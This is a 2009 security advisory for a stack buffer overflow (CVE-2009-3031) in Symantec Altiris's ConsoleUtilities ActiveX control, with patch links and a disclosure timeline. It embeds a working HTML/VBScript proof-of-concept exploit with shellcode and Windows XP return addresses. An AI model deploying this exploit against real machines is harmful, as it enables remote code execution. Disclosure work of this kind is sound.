Symantec ConsoleUtilities ActiveX Control Buffer Overflow

2009-11-05 / 2009-11-06
Credit: NSO Research
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

_________________________________________ Security Advisory NSOADV-2009-001 _________________________________________ _________________________________________ Title: Symantec ConsoleUtilities ActiveX Control Buffer Overflow Severity: Critical Advisory ID: NSOADV-2009-001 Found Date: 09.09.2009 Date Reported: 15.09.2009 Release Date: 02.11.2009 Author: Nikolas Sotiriu Mail: nso-research at sotiriu.de URL: http://sotiriu.de/adv/NSOADV-2009-001.txt Vendor: Symantec (http://www.symantec.com/) Affected Products: Symantec Altiris Notification Server 6.x Symantec Management Platform 7.0.x Symantec Altiris Deployment Solution 6.9.x Affected Component: ConsoleUtilities ActiveX Control V.6.0.0.1846 Not Affected Component: ConsoleUtilities ActiveX Control V.6.0.0.2000 Remote Exploitable: Yes Local Exploitable: No CVE-ID: CVE-2009-3031 Patch Status: Vendor released an patch Discovered by: Nikolas Sotiriu Disclosure Policy: http://sotiriu.de/policy.html Thanks to: Thierry Zoller: For the permission to use his Policy Background: =========== Altiris service-oriented management solutions provide a modular and future-proof approach to managing highly diverse and widely distributed IT infrastructures. They are open solutions that enable lifecycle integration of client, handheld, server, network and other IT assets with audit-ready security and automated operation. (Product description from Symantec Website) Description: ============ During the first access of the Management Website an ActiveX Control will be installed (AeXNSConsoleUtilities.dll), in which the function "BrowseAndSaveFile" is vulnerable to a stack based buffer overflow. Name: ConsoleUtilities Class Vendor: Altiris, Inc. Type: ActiveX-Steuerelement Version: 6.0.0.1846 GUID: {B44D252D-98FC-4D5C-948C-BE868392A004} File: AeXNSConsoleUtilities.dll Folder: C:\WINDOWS\system32 Proof of Concept : ================== <html> <title>NSOADV-2009-001</title> <object classid='clsid:B44D252D-98FC-4D5C-948C-BE868392A004' id='obj'/> </object> <script language='vbscript'> Sub Submit_OnClick For i=0 to 2 If document.ret.os(i).checked Then target=document.ret.os(i).value End If Next EIP=unescape(target) arg1 = "" arg3 = "" arg4 = "" arg5 = "" junk=String(310, "A") 'junk morejunk=String(18, unescape("%u0041")) 'more junk // windows/exec - 224 bytes // http://www.metasploit.com // Encoder: x86/call4_dword_xor // EXITFUNC=seh, CMD=calc.exe code=unescape("%uc92b%ue983%ue8ce%uffff%uffff%u5ec0%u7681%ue60e"&_ "%u2dad%u8338%ufcee%uf4e2%u451a%u38a4%uade6%ub14d"&_ "%u9c03%u5cff%uff6d%ub31d%ua1b4%u6aa6%u26f2%u105f"&_ "%u1ae9%u1e67%u52d7%uf81c%u914a%u444c%u81e4%uf90d"&_ "%ua029%uff2c%u5d04%u6f7f%uff6d%ub33d%u91a4%ue82c"&_ "%ued6d%ubd55%ud926%u3967%ufd36%u70a6%u26fe%u1875"&_ "%u7ee7%u04ce%u26af%ub319%u7be7%uc71c%u6dd7%uf981"&_ "%ua029%uff2c%u4dde%ucc58%ud0e5%u03d5%u899b%uda58"&_ "%u26be%u1c75%u7ee7%ub34b%ue6ea%u60a6%uacfa%ub3fe"&_ "%u26e2%ue82c%ue96f%u1c09%uf6bd%u614c%ufcbc%ud8d2"&_ "%uf2be%ub377%u46f4%u65ab%uac8c%ubda0%uad5f%u382d"&_ "%uc5b6%ub31c%u2a89%uedd2%u535d%u0a23%uc50c%uad8b"&_ "%u305b%uedd2%uabda%u3251%u5666%u4dcd%u16e3%u2b6a"&_ "%uc294%u3847%u52b5%u5bf8%uc187%u164e%ud583%u3848") buf=junk+EIP+morejunk+break+code obj.BrowseAndSaveFile arg1, buf, arg3, arg4, arg5 End Sub </script> <h2>Symantec ConsoleUtilities ActiveX Control Buffer overflow PoC</h2> Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool.<br>Nikolas Sotiriu (lofi) (http://www.sotiriu.de/adv/NSOADV-2009-001.txt), 02.11.2009<br> <h3>Some RET Infos:</h3> Overwrite EIP with AAAA (crash)<br> EIP=String(2, unescape("%u4141"))<br><br> XP SP2 Ger shell32.dll JMP ESP<br> EIP=unescape("%uaf0a%u77d5")<br><br> XP SP3 Ger shell32.dll JMP ESP<br> EIP=unescape("%u30D7%u7E68")<br><br> ---------------------------------------------------------------- <form name="ret"> <input type=radio name="os" value="%u4141%u4141"> DoS<br> <input type=radio name="os" value="%uaf0a%u77d5"> Windows XP SP2 German<br> <input type=radio name="os" value="%u30D7%u7E68"> Windows XP SP3 German<br> <input type=button name="Submit" VALUE="Exploit"> </form> <img src="http://sotiriu.de/images/logo_wh_80.png"> </html> Solution: ========= Symantec Security Advisory: http://tinyurl.com/y9fakve Hotfix (KB49568): Deployment Solution 6.9 SP3 https://kb.altiris.com/display/1n/articleDirect/index.asp?aid=49568 Hotfix (KB49389): Notification Server 6.x Symantec Management Platform 7.x https://kb.altiris.com/display/1n/articleDirect/index.asp?aid=49389 Disclosure Timeline (YYYY/MM/DD): ================================= 2009.09.09: Vulnerability found 2009.09.15: Sent PoC, Advisory, Disclosure policy and planned disclosure date (2009.10.01) to Vendor 2009.09.15: Vendor response asking for resending the poc in a zipped and password protected file (AV problem) 2009.09.15: Resending zipped and password protected 2009.09.17: Symantec Security Response Team verifies the vulnerability 2009.09.22: Symantec product team verifies the finding 2009.09.29: Ask for a status update, because the planned release date is 2009.10.01. 2009.09.29: Symantec Security Response Team tries to get a time line from the product team. 2009.09.30: Changed release date to 2009.10.08 until a time line is known 2009.10.07: Ask for a status update, because the planned release date is 2009.10.08. 2009.10.07: Symantec Security Response Team informs me if all goes well they need one more week. 2009.10.07: Changed release date to 2009.10.15. 2009.10.14: Ask for a status update, because the planned release date is 2009.10.15. 2009.10.14: Symantec Security Response Team informs me that they have an issue with an update and they need one more week. 2009.10.14: Changed release date to 2009.10.22. 2009.10.21: Ask for a status update, because the planned release date is 2009.10.22. 2009.10.21: Symantec Security Response Team informs me that they have an issue with an update. 2009.10.21: Changed release date to 2009.10.29. 2009.10.28: Ask for a status update, because the planned release date is 2009.10.29. 2009.10.29: Symantec Security Response Team informs me that the patch will be released on 2009.11.02 at 9am PST. 2009.11.02: Symantec Security Response Team informs me that the patch and the Advisory is released. 2009.11.02: Release of this Advisory

Referencje:

http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00
https://kb.altiris.com/article.asp?article=49568&p=1
https://kb.altiris.com/article.asp?article=49389&p=1
http://www.vupen.com/english/advisories/2009/3117
http://www.securityfocus.com/bid/36698
http://www.securityfocus.com/archive/1/archive/1/507625/100/0/threaded
http://sotiriu.de/adv/NSOADV-2009-001.txt


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